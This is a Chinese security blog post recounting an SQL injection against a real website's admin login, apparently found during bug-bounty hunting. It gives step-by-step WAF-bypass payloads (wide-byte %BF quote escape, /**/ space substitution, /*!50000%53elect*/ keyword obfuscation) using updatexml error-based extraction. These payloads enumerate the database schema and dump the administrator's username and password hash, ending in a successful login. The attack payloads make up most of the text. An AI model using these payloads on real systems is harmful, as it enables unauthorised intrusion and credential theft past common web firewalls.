记一次艰难的SQL注入(过安全狗)
本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文章目录
- 前文链接
- 1.1 前言
- 2.1 注入测试
- 2.1.1 绕过第一式:汉字双字节编码绕过单引号
- 3.1 获取数据库
- 3.1.1 绕过第二式:注释
- 3.1.2 绕过第三式:内联注释绕过空格
- 4.1 获取表名
- 4.1.1 绕过第四式:select过安全狗
- 5.1 获取列名
- 5.1.1 绕过第五式:骚操作绕过魔术函数
- 6.1 爆帐密
- 总结
前文链接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目录扫描,请求重发,漏洞扫描等工具的使用
- 网站信息收集及nmap的下载使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各种注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——实战SQL注入拿webshell
- Vulnhub靶机渗透之Me and My Girlfriend
- XSS漏洞
- 文件上传漏洞
- 文件上传绕过
- 文件包含漏洞
- Vulnhub靶机渗透之zico2
- 命令执行漏洞
- 逻辑漏洞(越权访问和支付漏洞)
- 网站后台安全
- weevely的使用及免杀(Linux中的菜刀)
- MSF(1)——一次完整的渗透流程
- WebShell命令执行限制(解决方案)
1.1 前言
最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。
2.1 注入测试
bp抓包,加单引号,没有什么用
很显然,这里开启了php的魔术函数,把单引号自动转义了
2.1.1 绕过第一式:汉字双字节编码绕过单引号
当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过
例如构造Payload为:
username=%BF'
%BF解码之后是中文乱码
此时发送数据包
可以看到SQL语句变成:
SELECT * FROM `sl_admin` WHERE `username`='¿''
成功过滤单引号
程序报错,考虑使用爆错注入
3.1 获取数据库
既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容
第一步是注出数据库,版本,用户等基本信息
先把Payload放出来,再进行讲解
Payload:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
数据库名不能放出来,在本文中用test_db代替
用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来
数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#
3.1.1 绕过第二式:注释
再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。
我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。
注释成功,很简单,没什么好说的
3.1.2 绕过第三式:内联注释绕过空格
安全狗把空格干掉了
空格或者加号都会被干掉
当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过
username=%BF/**/and/**/1'
4.1 获取表名
再得到数据库后要获取表名
先把Payload放出来
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
管理员表用admin代替,其他表用test_table代替
4.1.1 绕过第四式:select过安全狗
注表名需要用select语句,因此我最开始写的Payload是这样的:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#
很快啊,被安全狗拦了
这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章
https://www.cnblogs.com/w-i-n-d/p/8649590.html
在该文中,用 /*!50000%53elect*/ 代替select实现绕过
我尝试了一下,成功实现了绕过(见上图)
后来我测试了一下,其他关键词也可以用这种方法绕过
select
/*!50000%53elect*/order /*!50000%6frder*/union
/*!50000%75nion*/
5.1 获取列名
得到了表名和列名,接下来就是要获取列名
先放Payload:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#
5.1.1 绕过第五式:骚操作绕过魔术函数
按照正常的注入流程,写出来的Payload应该是这样的:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#
问题在于,魔术函数干掉了我的单引号
于是我就开始各种百度,Google,查找怎么绕过魔术函数
Noway
就在陷入死胡同时,我灵机一动
我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名
因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。
但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名
例如,我想知道 数据库 test中admin表的内容
select column_name from information_schema.columns where table_schema like 'test';
这时通过直觉可以判断出,admin表中的字段是 id username password
同理,在该站点中,可以通过这种方法,获取字段
当Payload指定为:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#
得到的字段数为:typeid
通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段
经过测试,当值为 7,1 时可以得到字段 username ; 当值为 8,1 时可以得到字段 password
6.1 爆帐密
得到了以上信息后,爆帐密就很简单了
爆账号:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#
因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出
解密得到账号密码
登录成功
总结
实战注入的难度比靶场大得多,各种绕过,各种骚操作。
要学会利用搜索工具,更要学会选择性放弃
当一条路走不通就换另一种方法,也许就会柳暗花明又一村
——2022.2.1
记一次艰难的SQL注入(过安全狗)相关推荐
- SQL注入绕过安全狗
SQL注入绕过安全狗 前期知识 黑名单 演示开始 内联注释绕过 模糊查询绕过 查询数据库用户名和表信息 前期知识 网站安全狗是一款集网站内容安全防护.网站资源保护及网站流量保护功能为一体的服务器工具, ...
- 记一次成功的sql注入入侵检测附带sql性能优化
很多同学和园友都遇到过sql注入的,其中大部分都是代码的不严谨造成的,都是犯过很多错误才学会认真起来. 但是如果是让你接手一个二等残废的网站,并让你在上面改版,而且不能推翻式改版,只能逐步替换旧的程序 ...
- 记一次php、sql注入学习后的一道ctf代码审计题复盘
之前在学校的时候参加了ctf比赛,有幸拿了一个代码审计题的一血,但是当时可能也是算运气比较好吧,因为我的思路并不是常规解法,但还是拿了一血,现在更深入的学习php和sql注入之后,反过来看这道代码审计 ...
- SQL注入-绕过安全狗
目录 一.什么是安全狗 二.演示如何绕过安全狗的防护 1.方式一:内联注释正常绕过 2.方式二:内联反向思维绕过. 3.方式三:GET传参绕过 4.方式四:URL编码绕过 一.什么是安全狗 网站安全狗 ...
- 【WAF剖析】——SQL注入之安全狗bypass深度剖析
作者名:Demo不是emo 主页面链接:主页传送门 创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷 座右铭:不要让时代的悲哀 ...
- 实战sql注入绕过安全狗
实战安全狗bypass 之前有段时间一直在弄注入绕过,正好一个朋友手上有个安全狗的站 绕过 and 1=1 这种很显然直接被拦截,这里进行fuzz and 1 like 1 拦截 and /!1=1/ ...
- sql注入绕过安全狗4.0
1.前言 2.前置知识 3.绕过关键字主要思路 3.1绕过连体关键字思路 3.2绕过单个关键字思路 4.以sqli-labs(Less-1)为例,绕过安全狗 4.1拦截order by 4.2拦截un ...
- SQL注入_Bypass安全狗apache主程序版本v4.0.23137绕过
更新时间:2021.10.21 微信公众号:乌鸦安全 说明 本文发在乌鸦安全知识星球,仅限内部使用! 1. 版本 当前版本是最新版安全狗 主程序版本号为:v4.0.23137 上一次的版本为 主程序版 ...
- sql 整改措施 注入_记一次Sql注入 解决方案
老大反馈代码里面存在sql注入,这个漏洞会导致系统遭受攻击,定位到对应的代码,如下图所示 image like 进行了一个字符串拼接,正常的情况下,前端传一个 cxk 过来,那么执行的sql就是 se ...
最新文章
- RedisRDB持久化机制
- visio篇章--1
- 深度学习、图像识别的基本概念
- jq监听页面的滚动事件,
- Dart与系统进程交互
- kali激活phpstorm_kali+phpstorm+xdebug+firefox配置本地/远程调试
- wordpress让百度分享支持https
- “色情机器”改掉手机PIN码 勒索安卓设备用户
- 单体架构与微服务架构(英文)
- 关于QtCreator中三种不同编译版本 debug、release、profile 的区别
- ORacle异常:ORA-00980:同义词转换不再有效
- 智能晾衣器全国产化电子元件推荐方案
- apache基金会开源项目简介
- 计算机左侧没有桌面菜单栏,AI软件左侧的工具栏不见了没有了怎么显示出来
- C++课程基础语法小结
- 【原创】Exchange 用户发送邮件提示:您无权执行此操作,解决办法
- Python使用ffmpeg下载m3u8高清视频
- STM32系统滴答_及不可不知的延时技巧 - (上)
- 【矩阵论-20220919(1.1)——数域、线性空间定义和基本性质】
- 第3周项目2打印星花
热门文章
- 系统服务器Fedora和Red Hat Enterprise Linux实用指南(第6版)(上、下册)( 入行必读的Linux圣经)...
- MySQL 主从架构在线热迁移MGR 方案
- 我们该如何设计数据库:“普通——文艺——二逼”的区别
- linux安装mysql图解,linux中怎么安装mysql5.6.12版本图解
- 五笔字典编码--------------_
- css nth-child_比较CSS伪类:nth-​​child与nth-of-type
- 《前方的路》读书笔记
- 这有一套完整的微信公众号代运营方案
- 如何在智星云主机配置 conda 和 pip 源
- Hawk-and-Chicken详解